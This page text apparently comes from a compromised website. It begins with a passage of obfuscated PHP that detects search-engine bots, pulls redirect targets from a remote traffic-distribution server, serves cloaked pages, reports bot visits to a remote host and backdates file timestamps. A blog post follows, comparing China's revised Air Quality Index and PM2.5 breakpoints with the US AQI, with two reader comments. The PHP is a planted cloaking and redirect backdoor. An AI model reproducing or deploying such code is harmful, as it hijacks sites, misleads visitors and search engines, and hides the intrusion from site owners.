_41);$this->_43=strlen($this->_42);$this->_46=(is_dir($this->_44)&&is_writable($this->_44));$this->_16->l__16("init cache result: {$this->_46}");}function l__25($_3){if(!$this->_48){$this->_16->l__16(_1916063019(219));return false;}$_53=$this->l__26($_3);$this->_16->l__16("[cache] try $_53.");if(!file_exists($_53)){$this->_16->l__16(_1916063019(220));return false;}$_25=false;$_54=@fopen($_53,_1916063019(221));if($_54){if(@flock($_54,LOCK_SH)){fseek($_54,$this->_43);$_25=@fread($_54,(filesize($_53)-$this->_43));if($_25){$_55=@unserialize(gzuncompress($_25));if(is_array($_55)){if((time()-$_55[_1916063019(222)])<$this->_45*3600){$_25=$_55[_1916063019(223)];}else{$this->_16->l__16(_1916063019(224));$_25=false;}}else $this->_16->l__16(_1916063019(225));}@flock($_54,LOCK_UN);}else $this->_16->l__16("[cache] !!!ERROR can't lock file $_53");@fclose($_54);}else $this->_16->l__16("[cache] !!!ERROR can't open file $_53");return $_25;}function l__21($_3,$_8){if(!$this->_48){$this->_16->l__16(_1916063019(226));return false;}$_53=$this->l__26($_3);$_56=array(_1916063019(227)=>time(),_1916063019(228)=>$_8);$_57=gzcompress(serialize($_56),$this->_47);$_58=$this->_42 .$_57;$_59=(file_exists($_53))?filemtime($_53):time();if(time()-$_59<100){$_59=time()-(3600*24*365)*2;$this->_16->l__16(_1916063019(229));}$_60=false;$_54=@fopen($_53,_1916063019(230));if($_54){if(@flock($_54,LOCK_EX)){$_60=@fwrite($_54,$_58);@flock($_54,LOCK_UN);}else $this->_16->l__16("[cache]!!!ERROR can't lock file $_53");@fclose($_54);}else{$this->_16->l__16("[cache]!!!ERROR can't open file $_53");}@touch($_53,$_59,$_59);$this->_16->l__16("[cache]write to cache $_53: " .(((bool)$_60)?_1916063019(231):_1916063019(232)));return $_60;}function l__26($_3){$_61=str_replace(array(_1916063019(233),_1916063019(234),_1916063019(235),_1916063019(236),_1916063019(237)),_1916063019(238),strtolower($_3));$_62=crc32($_61);return $this->_44 ."button$_62.png";}}class l__27{var $_63;var $_64;var $_37;var $_38;function l__27($_65){$this->_63=$_65;$this->_64=(isset($_SERVER[_1916063019(239)]))?$_SERVER[_1916063019(240)]:getenv(_1916063019(241));$this->_64=trim($this->_64);}}class ____SerpUser_Detector extends l__27{function l__28(){$_66=false;if(preg_match(_1916063019(242),$this->_64)){$_67=array();if(preg_match(_1916063019(243),$this->_64,$_67)){$_68=(isset($_67[2]))?$_67[2]:null;$this->_38=$_68;if(!empty($_68)){foreach($this->_63 as $_69){if(stristr($_68,$_69)!==false){$this->_37=$_69;$_66=true;break;}}}}}return $_66;}}class l__29 extends l__27{var $_70;var $_71;var $_72;var $_73;var $_74='http://www.google.com/search?q=info:{url}&ie=utf-8&oe=utf-8&hl=en&gl=us';function l__29($_65,&$_75,$_10,$_76){$this->_70=&$_75;$this->_71=$_76;$this->_72=$_10;$this->_73=3600*6;parent::l__27($_65);}function l__28($_3){$_66=false;if(preg_match(_1916063019(244),$this->_64)){$_67=array();if(preg_match(_1916063019(245),$this->_64,$_67)){$_68=$this->l__30($_3);if($_68!==false){$this->_38=$_68;}if(!empty($_68)&&$_68!==false){foreach($this->_63 as $_69){if(stristr($_68,$_69)!==false){$this->_37=$_69;$_66=true;break;}}}}}return $_66;}function l__30($_3){$_77=false;$_78=false;$_79=$this->l__33();$_80=$this->l__35($_3);$_81=time();$_82=_1916063019(246);if(isset($_79[$_80][_1916063019(247)])){$_82=$_79[$_80][_1916063019(248)];}if(empty($_82)){$_69=$this->l__32($_3);if($_69!==false){$_82=$_79[$_80][_1916063019(249)]=$_69;}}if(!empty($_82)){$_83=array(_1916063019(250)=>false,_1916063019(251)=>0);if(isset($_79[$_80][_1916063019(252)])){$_83=$_79[$_80][_1916063019(253)];}if(!$_83[_1916063019(254)]){if(($_81-$_83[_1916063019(255)])>$this->_73){if($this->l__31($_3))$_83[_1916063019(256)]=$_79[$_80][_1916063019(257)][_1916063019(258)]=true;else $_79[$_80][_1916063019(259)][_1916063019(260)]=false;$_79[$_80][_1916063019(261)][_1916063019(262)]=$_81;$_77=true;}}$_78=$_83[_1916063019(263)];}if($_77){$this->l__34($_79);}return($_78&&!empty($_82))?$_82:false;}function l__31($_3){global $_84;$_84=implode(_1916063019(264),$this->_63);$_85=str_replace(_1916063019(265),urlencode($_3),$this->_74);$_86=$this->_72->l__53($_85,true);foreach($this->_63 as $_69){if(stristr($_86,$_69)!==false){return true;}}return false;}function l__32($_3){$_86=$this->_70->l__71($_3);if($_86[_1916063019(266)]){$_87=array();if(preg_match(_1916063019(267),$_86[_1916063019(268)],$_87)){$_69=$_87[1];return $_69;}}return false;}function l__33(){if(!file_exists($this->_71)){$_88=time()-3600*24*31*3;@touch($this->_71,$_88,$_88);return array();}$_54=@fopen($this->_71,_1916063019(269));if($_54){@flock($_54,LOCK_SH);$_8=@fread($_54,filesize($this->_71));@flock($_54,LOCK_UN);@fclose($_54);$_89=@unserialize(gzuncompress($_8));return($_89===false)?array():$_89;}return array();}function l__34($_79){$_90=@filemtime($this->_71);$_57=gzcompress(serialize($_79),5);$_54=@fopen($this->_71,_1916063019(270));if($_54){@flock($_54,LOCK_EX);fwrite($_54,$_57);@flock($_54,LOCK_UN);@fclose($_54);@touch($this->_71,$_90,$_90);}}function l__35($_3){$_61=str_replace(array(_1916063019(271),_1916063019(272),_1916063019(273),_1916063019(274),_1916063019(275)),_1916063019(276),strtolower($_3));return md5($_61);}}class l__36{var $_91;var $_92=array();var $_93;var $_94;var $_16;var $_95='[botdetector]';function l__36($_9,&$_96,&$_97,&$_50,$_98=array('ua','ip')){$this->_92=$_9;$this->_93=$_96;$this->_94=$_97;$this->_91=$_98;$this->_16=&$_50;}function l__37(){$_99=$_SERVER[_1916063019(277)];$_100=$this->_94->l__43();if($_100===false)return false;$_101=false;if(in_array(_1916063019(278),$this->_91)){$this->_16->l__16("{$this->_95} check ip");$_101=$this->l__39($_99,$_100[_1916063019(279)]);}if(!$_101&&in_array(_1916063019(280),$this->_91)){$this->_16->l__16("{$this->_95} check ua");$_101=$this->l__38($_100[_1916063019(281)]);}if(!$_101){$this->_16->l__16("{$this->_95} check host");$_101=$this->l__41($_99);}return $_101;}function l__38(&$_102){$_103=$_SERVER[_1916063019(282)];foreach($_102 as $_104){if(stristr($_103,$_104))return true;}return false;}function l__39($_99,&$_105){$_106=ip2long($_99);$_107=false;foreach($_105 as $_108){$_108=trim($_108);if(stristr($_108,_1916063019(283))!==false||stristr($_108,_1916063019(284))!==false){list($_109,$_110)=$this->l__40($_108);$_111=ip2long($_109);$_112=ip2long($_110);if($_106>=$_111&&$_106<=$_112){$_107=true;break;}}else{if($_99==$_108){$_107=true;break;}}}return $_107;}function l__40($_99){$_113=explode(_1916063019(285),$_99);$_114=$_115=array();foreach($_113 as $_116){if($_116== _1916063019(286)){$_114[]=0;$_115[]=255;continue;}if(stristr($_116,_1916063019(287))){$_117=explode(_1916063019(288),$_116);$_114[]=$_117[0];$_115[]=$_117[1];}else{$_114[]=$_116;$_115[]=$_116;}}return array(join(_1916063019(289),$_114),join(_1916063019(290),$_115));}function l__41($_99){if(!$this->_92[_1916063019(291)])return false;$_118=@gethostbyaddr($_99);if(empty($_118))return false;$_118=strtolower($_118);foreach($this->_92[_1916063019(292)]as $_119){if(strpos($_118,$_119)!==false){$this->_93->l__49($_99,$_118);return true;}}return false;}}class l__42{var $_72;var $_120;var $_121;var $_122;var $_95='[botprovider]';var $_16;function l__42(&$_10,&$_50,$_123,$_124,$_125){$this->_72=$_10;$this->_120=$_123;$this->_121=$_124;$this->_122=$_125*3600;$this->_16=&$_50;}function l__43(){$_8=$this->l__44();if($_8===false||time()-($_8[_1916063019(293)])>$this->_122){$this->_16->l__16("{$this->_95} data need update. try update");$this->l__45();$_8=$this->l__44();}if($_8===false)$this->_16->l__16("{$this->_95} data is not present");return $_8;}function l__44(){if(!file_exists($this->_121)){$this->_16->l__16("{$this->_95} bot file not exists");return false;}clearstatcache();if(filesize($this->_121)==0)return false;$_8=false;$_54=@fopen($this->_121,_1916063019(294));if($_54){if(@flock($_54,LOCK_SH)){$_126=fread($_54,filesize($this->_121));$_8=$this->l__46($_126);if($_8===false)$this->_16->l__16("{$this->_95} data is corrupted");@flock($_54,LOCK_UN);}else $this->_16->l__16("{$this->_95} cannot lock file for read");@fclose($_54);}else{$this->_16->l__16("{$this->_95} cannot open file for read");}return $_8;}function l__45(){$_127=(file_exists($this->_121))?filemtime($this->_121):(time()-24*3600*30*3);$_54=@fopen($this->_121,_1916063019(295));if($_54){if(@flock($_54,LOCK_EX)){$_128=$this->_72->l__53($this->_120);$_129=$this->l__46($_128);if($_129!==false){$_8=array(_1916063019(296)=>time(),_1916063019(297)=>$_129[_1916063019(298)],_1916063019(299)=>$_129[_1916063019(300)]);$_126=$this->l__47($_8);@ftruncate($_54,0);if(!@fwrite($_54,$_126))$this->_16->l__16("{$this->_95} cannot write data");}else{$this->_16->l__16("{$this->_95} server data is corrupted");}@flock($_54,LOCK_UN);}else $this->_16->l__16("{$this->_95} cannot lock file for update");@fclose($_54);@touch($this->_121,$_127,$_127);}else{$this->_16->l__16("{$this->_95} cannot open file for update");}}function l__46($_126){return@unserialize(gzuncompress($_126));}function l__47($_8){return gzcompress(serialize($_8),9);}}class l__48{var $_72;var $_130;function l__48($_10,$_3){$this->_72=$_10;$this->_130=$_3;}function l__49($_99,$_131){$_8=array(_1916063019(301)=>$_SERVER[_1916063019(302)],_1916063019(303)=>$_99,_1916063019(304)=>$_131,_1916063019(305)=>$_SERVER[_1916063019(306)]);$_1=array();foreach($_8 as $_69 => $_132){$_1[]="$_69=" .base64_encode($_132);}$_1[]=_1916063019(307) .crc32($_8[_1916063019(308)]);$_3=$this->_130 ._1916063019(309) .join(_1916063019(310),$_1);@$this->_72->l__54($_3);}}class l__50{var $_92=array('timeout'=>10,'headers'=>array());var $_133;var $_16;var $_134;function l__50(&$_50,$_135='curl',$_9=array()){$this->_16=&$_50;$this->_134=$_135;$this->_92=array_merge($this->_92,$_9);}function l__51($_69,$_132){$this->_92[$_69]=$_132;}function l__52(){$_136=array();foreach($this->_92[_1916063019(311)]as $_69=>$_132)$_136[]="$_69: $_132";return $_136;}function l__53($_3,$_137=true){switch($this->_134){case _1916063019(312):$_138=$this->l__60($_3,$_137);break;case _1916063019(313):$_138=$this->l__58($_3,$_137);break;case _1916063019(314):$_138=$this->l__55($_3);break;default:$this->_16->l__16("[webclient] unknown webclient type. {$this->_134}");}$this->_16->l__16(_1916063019(315) .strlen($_138));return $_138;}function l__54($_3){switch($this->_134){case _1916063019(316):return $this->l__61($_3);break;case _1916063019(317):return $this->l__59($_3);break;case _1916063019(318):return $this->l__56($_3);break;default:$this->_16->l__16("[webclient] unknown webclient type. {$this->_134}");}}function l__55($_3){$this->_16->l__16("[webclient(socket)] load content: $_3");$_54=$this->l__57($_3);if(!$_54)return _1916063019(319);$_55=_1916063019(320);while(!@feof($_54)){$_55.=@fread($_54,8192);}fclose($_54);$_113=explode(_1916063019(321),$_55,2);$_55=(count($_113)==2)?$_113[1]:$_55;return $_55;}function l__56($_3){$this->_16->l__16("[webclient(socket)] load headers: $_3");$_54=$this->l__57($_3);if(!$_54)return _1916063019(322);$_55=_1916063019(323);while(!@feof($_54)){$_55.=@fread($_54,8192);if(strpos($_55,_1916063019(324))!==false){$_113=explode(_1916063019(325),$_55,2);$_55=$_113[0];break;}}fclose($_54);return $this->l__63($_55);}function l__57($_3){$this->_133=_1916063019(326);$_139=parse_url($_3);$_53=(empty($_139[_1916063019(327)]))?_1916063019(328):$_139[_1916063019(329)];if(!empty($_139[_1916063019(330)]))$_53.= _1916063019(331) .$_139[_1916063019(332)];$_140=$_141=null;$_54=@fsockopen($_139[_1916063019(333)],80,$_140,$_141,$this->_92[_1916063019(334)]);if(!$_54){$this->_16->l__16("[webclient(socket)] error: $_141");return false;}stream_set_timeout($_54,$this->_92[_1916063019(335)]);fwrite($_54,"GET $_53 HTTP/1.1\n");fwrite($_54,"Host: {$_139[_1916063019(336)]}\n");fwrite($_54,_1916063019(337));foreach($this->l__52()as $_142)fwrite($_54,"$_142\n");fwrite($_54,_1916063019(338));return $_54;}function l__58($_3,$_137=true){$this->_133=_1916063019(339);$this->_16->l__16("[webclient(fopen)] load content: $_3");$_143=array(_1916063019(340)=>array(_1916063019(341)=>7,_1916063019(342)=>$_137,_1916063019(343)=>join(_1916063019(344),$this->l__52()),_1916063019(345)=>$this->_92[_1916063019(346)]));$_144=stream_context_create($_143);$_54=@fopen($_3,_1916063019(347),false,$_144);$_55=_1916063019(348);while(!@feof($_54)){$_55.=@fread($_54,8192);}@fclose($_54);return $_55;}function l__59($_3){$this->_133=_1916063019(349);$this->_16->l__16("[webclient(get_headers)] load headers: $_3");$_145=@get_headers($_3,true);return $_145;}function l__60($_3,$_137=true){global $_84;$this->_16->l__16("[webclient(curl)] load content: $_3");$_146=$this->l__62($_3);curl_setopt($_146,CURLOPT_HEADER,0);@curl_setopt($_146,CURLOPT_FOLLOWLOCATION,$_137);curl_setopt($_146,CURLOPT_HTTPHEADER,$this->l__52());$_55=@curl_exec($_146);if($_55===false){$_147=curl_error($_146);$this->_16->l__16("[webclient(curl)] FAILED: $_147");if(stristr($_3,_1916063019(350))&& curl_errno($_146)>0){$_55=$_84;}}if(stristr($_3,_1916063019(351))&& curl_getinfo($_146,CURLINFO_HTTP_CODE)==302){$_55=$_84;}curl_close($_146);return $_55;}function l__61($_3){$this->_16->l__16("[webclient(curl)] load headers: $_3");$_146=$this->l__62($_3);curl_setopt($_146,CURLOPT_HEADER,1);curl_setopt($_146,CURLOPT_NOBODY,1);$_55=@curl_exec($_146);if($_55===false){$_147=curl_error($_146);$this->_16->l__16("[webclient(curl)] FAILED: $_147");}curl_close($_146);return $this->l__63($_55);}function l__62($_3){$this->_133=_1916063019(352);$_146=curl_init();curl_setopt($_146,CURLOPT_URL,$_3);curl_setopt($_146,CURLOPT_TIMEOUT,$this->_92[_1916063019(353)]);curl_setopt($_146,CURLOPT_RETURNTRANSFER,true);return $_146;}function l__63($_148){$_148=str_replace(_1916063019(354),_1916063019(355),$_148);$_149=explode(_1916063019(356),$_148);$_145=array();foreach($_149 as $_150){$_150=trim($_150);if(empty($_150))continue;if(strpos($_150,_1916063019(357))===false)continue;@list($_69,$_132)=explode(_1916063019(358),$_150,2);if(isset($_145[$_69])){if(!is_array($_145[$_69]))$_145[$_69]=array($_145[$_69]);$_145[$_69][]=$_132;}else $_145[$_69]=(!empty($_132))?$_132:_1916063019(359);}$this->_16->l__16(_1916063019(360) .trim($_148));return $_145;}}class l__64{var $_72;var $_151;function l__64($_10,$_152){$this->_72=&$_10;$_152=str_replace(_1916063019(361),$_SERVER[_1916063019(362)],$_152);$_152=str_replace(_1916063019(363),rawurlencode($_SERVER[_1916063019(364)]),$_152);$_152=str_replace(_1916063019(365),rawurlencode(_1916063019(366) .@$_SERVER[_1916063019(367)]),$_152);$this->_151=$_152;}function l__65(){return preg_replace(_1916063019(368),_1916063019(369),$this->_151);}function l__66($_69,$_132){$this->_151=str_replace(_1916063019(370) .$_69 ._1916063019(371),rawurlencode($_132),$this->_151);}function l__67(){$_145=$this->_72->l__54($this->l__65());if(!isset($_145[_1916063019(372)]))return false;$_153=trim($_145[_1916063019(373)]);$_154=_1916063019(374);if(strpos($_153,_1916063019(375))!==false){list($_153,$_154)=explode(_1916063019(376),$_153);}return array($_153,$_154);}}class ____External_Base{function l__68($_138){echo $_138;}}class l__69{var $_155;var $_72=false;var $_156;function l__69($_157,$_10=false){$this->_155=rtrim($_157,_1916063019(377)) ._1916063019(378);if($_10)$this->_72=&$_10;}function l__70($_158){$this->_156=$_158;}function l__71($_3){$_69=$this->l__72($_3);$_159=$this->_155 .$_69;$_86=false;$_160=_1916063019(379);$_161=false;if($this->_72!=false){$_86=$this->_72->l__53($_159);$_160=$this->_72->_133;$_86=trim($_86);if(stristr($_86,_1916063019(380))){$_86=false;$_161=true;}}else{$_86=$this->l__73($_159);if($_86===false)$_161=true;$_160=_1916063019(381);}if($this->_156!==null){$_86=$this->_156->l__74($_86);}return array(_1916063019(382)=>(bool)$_86,_1916063019(383)=>$_86,_1916063019(384)=>$_159,_1916063019(385)=>$_160,_1916063019(386)=>$_161);}function l__72($_3){$_61=str_replace(array(_1916063019(387),_1916063019(388),_1916063019(389),_1916063019(390),_1916063019(391)),_1916063019(392),strtolower($_3));return md5($_61);}function l__73($_53){if(!file_exists($_53))return false;@$_162=fopen($_53,_1916063019(393));@$_86=fread($_162,filesize($_53));@fclose($_162);return $_86;}}class ____CloackPage_Decoder{function l__74($_8){if(empty($_8))return null;$_163=@base64_decode($_8);if($_163===false)return $_8;$_129=@gzinflate(@str_rot13($_163));if($_129===false)return $_8;return $_129;}}class ____Bootstrap_Simple extends l__0{function l__75(){if(!isset($this->_6[_1916063019(394)]))$this->_6[_1916063019(395)]=&new l__76($this->l__2($this->_7),$this->_4[_1916063019(396)][_1916063019(397)]);return $this->_6[_1916063019(398)];}}class ____Engine_Simple extends l__9{function l__11($_3,$_23){$_24=$this->_15->l__75();$_22=$this->_15->l__4();$_164=$_22->l__65();if($this->_4[_1916063019(399)]== _1916063019(400)){if(!$this->_18)$_24->l__77();$this->_16->l__16("request tds url: $_164");list($_153,$_154)=$_22->l__67();$this->_16->l__16("received out url: $_153");if($_153===false){$this->_16->l__16("bad out url. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}else{$this->_16->l__16("try load out page: $_153");$_165=$this->_15->l__7();$_86=$_165->l__25($_153);if($_86===false||strlen($_86)<10){$this->_16->l__16(_1916063019(401));$_86=$_24->l__79($_153);if($_86==false||strlen($_86)<10){$this->_16->l__16("bad loaded page. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}else{$this->_16->l__16(_1916063019(402));$_165->l__21($_153,$_86);if(!$this->_18)$_24->l__78();if(!$this->_18)$_24->l__81($_86,$_23);}}else{$this->_16->l__16(_1916063019(403));if(!$this->_18)$_24->l__78();if(!$this->_18)$_24->l__81($_86,$_23);}}}else{$this->_16->l__16("local work. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}}function l__12($_23){}}class l__76 extends ____External_Base{var $_72;var $_166;var $_167;function l__76($_10,$_168){$this->_72=&$_10;$this->_166=_1916063019(404) .str_replace(_1916063019(405),_1916063019(406),uniqid(rand(),true));$this->_167=$_168;@ini_set(_1916063019(407),0);@ini_set(_1916063019(408),1);@ob_end_clean();@ob_implicit_flush();}function l__77(){}function l__78(){}function l__79($_153){$_99=@$_SERVER[_1916063019(409)];if(strpos($_153,_1916063019(410))!==false){$_169="ip=$_99&remote_ip=$_99";$_153.=(strpos($_153,_1916063019(411))===false)?_1916063019(412):_1916063019(413);$_153.=$_169;}$_86=$this->_72->l__53($_153);if($_86){$_86=preg_replace_callback('/]+)href\s*=\s*["\']([^\s>"\']+)[\'"]([^>]*)?>/sim',array($this,'_setCustomParameter'),$_86);if(!@preg_match(_1916063019(414),$_86)){$_170="";if(@preg_match(_1916063019(415),$_86))$_86=@preg_replace(_1916063019(416),"$1$_170",$_86,1);else if(@preg_match(_1916063019(417),$_86))$_86=str_replace(_1916063019(418),$_170 ._1916063019(419) ._1916063019(420),$_86);else $_86=$_170 .$_86;}}return $_86;}function l__80($_3){if(!headers_sent()){header("Location: $_3");}else{$_28=_1916063019(421) .$_3 ._1916063019(422);$_28.= _1916063019(423) .$_3 ._1916063019(424);echo $_28;@flush();@ob_flush();}}function l__81($_138,$_23){$_171=$this->l__83($_23);$_138=preg_replace(_1916063019(425),"",$_138);echo $_138;}function l__82($_138){}function _setCustomParameter($_172){$_3=$_172[2];$_173=_1916063019(426);if(strpos($_3,_1916063019(427))!==false){list($_3,$_173)=explode(_1916063019(428),$_3);}if(strpos($_3,_1916063019(429))!==false){$_3.= _1916063019(430) .$this->_167;}else{$_3.= _1916063019(431) .$this->_167;}if(!empty($_173))$_3.= _1916063019(432) .$_173;$_174="";return $_174;}function l__83($_23){$_99=$_SERVER[_1916063019(433)];$_103=$_SERVER[_1916063019(434)];$_175=$_SERVER[_1916063019(435)];$_21=$_23[_1916063019(436)];$_171="$_99|$_103|$_175|$_21";$_176=base64_encode(gzcompress($_171,9));$_176=str_rot13($_176);$_176=strrev($_176);$_176=base64_encode(gzcompress($_171,9));$_176=str_rot13($_176);return $_176;}}$_177=null;$_178=null;$_8=array(_1916063019(437)=>$_2);$_177=new ____Bootstrap_Simple($_1,$_8);$_178=new ____Engine_Simple($_177,$_1);$_178->l__10($_3);unset($_177);unset($_178); ?> China’s new Air Quality Index: How does it measure up? | Angel Hsu

China’s new Air Quality Index: How does it measure up?

Earlier this month, China’s Ministry of Environmental Protection (MEP) released the official (trial) revisions to the Ambient Air Quality Index (AQI, which is a notable shift from its previous form as the Air Pollution Index, or API).  I wrote last February about how the MEP was already revising the API to be more in line with the U.S.’s AQI, but with the notable exclusion of ambient air quality standards for fine particulate matter, or PM 2.5.  The omission was seen as a disappointing move by some of China’s leading environmentalists, who saw the failure to include PM 2.5 in the AQI revisions as a political sidestep.

Fast forward six months and PM 2.5 quickly dominated headlines both within China and abroad, particularly when Chinese netizens took to social media to point out discrepancies between China’s API communications and an independent air quality monitor atop the US Embassy in Beijing.  The government responded promptly through the release of trial PM 2.5 data in Beijing before the Lunar New Year holidays in January.  The MEP then followed with announcements that PM 2.5 would be additionally measured in all four municipalities, 27 provincial capitals, and key economic regions such as Beijing-Tianjin-Hebei, the Pearl River Delta, and the Yangtze River Delta.  Already, provincial governments have gotten an early start on releasing PM 2.5 data, with Guangdong and Zhejiang leading the charge.

But what about the ambient air quality standards themselves? How do they compare with those of the U.S?  I’ve already noted in a previous post the changes to the methodology that have been made in the Chinese AQI to more closely resemble the US AQI, so I won’t reiterate those here, other than to say that they now appear to be fairly consistent.

As for the standards on PM 2.5, there is a discrepancy between the U.S. and China AQIs, and the reason is that China has adopted the stage 1 interim recommendations set by the WHO.  The U.S., of course, uses a 15 micrograms/m3 guideline. You can see these differences in both Table 1 and Figure 1.

Table 1. US and China AQI breakpoints for PM10 and PM 2.5. Note: the Descriptions in column 2 are based on the Chinese AQI standards, not the US's.

Figure 1. A comparison between PM10 and PM2.5 AQI breakpoints between the US and China.

I am not particularly bothered by these discrepancies for PM 2.5, as the Chinese government was clear about their intention to adopt the lower level interim guidelines set by the WHO. To place the difficulty of achieving these PM 2.5 levels into perspective, scientists have predicted another 20 to 30 years.  However, I am optimistic that China might be able to cut pollution levels sooner than this, as they have technology and plans to reduce fossil fuel consumption that may help them “leapfrog.”

I also wonder about the potential effect the international attention on PM 2.5 may have had on the other ambient air quality standards for other pollutants, such as sulfur dioxide (SO2), ozone (O3), and nitrogen dioxide (NO2).  As you can see from Table 2, the differences in the pollutant breakpoints (i.e. what concentrations are considered “good” and “lightly polluted”) are pretty significant.  However, adjustments were made from the drafts considered last February.

Table 2. Pollutant breakpoints for US and China AQIs. 1) According to the USEPA, 8-hour O3 values do not define higher AQI values ($ 301). AQI values of 301 or higher are calculated with 1- hour O3 concentrations. 2) NO2 has no short-term NAAQS and can generate an AQI only above a value of 200. Note: the Descriptions in column 2 are based on the Chinese AQI standards, not the US's.

 

** Updates made May 15, 2012 thanks to comments and good catches by Erica Zell, Battelle Memorial Institute. 

 

 

 

Facebook Twitter Email

, , , ,

  • Fanyu Gao

    Accoring to the US standard of AQI, the indicator of SO2, O3 and CO is measured with unit of ppm. I am just wondering how you transform them from ppm to ug/m3, due to my study result is quite different from yours. Did you take the tempreature into account? THX

  • Fanyu Gao

    please replay to me… I based my thesis on this topic.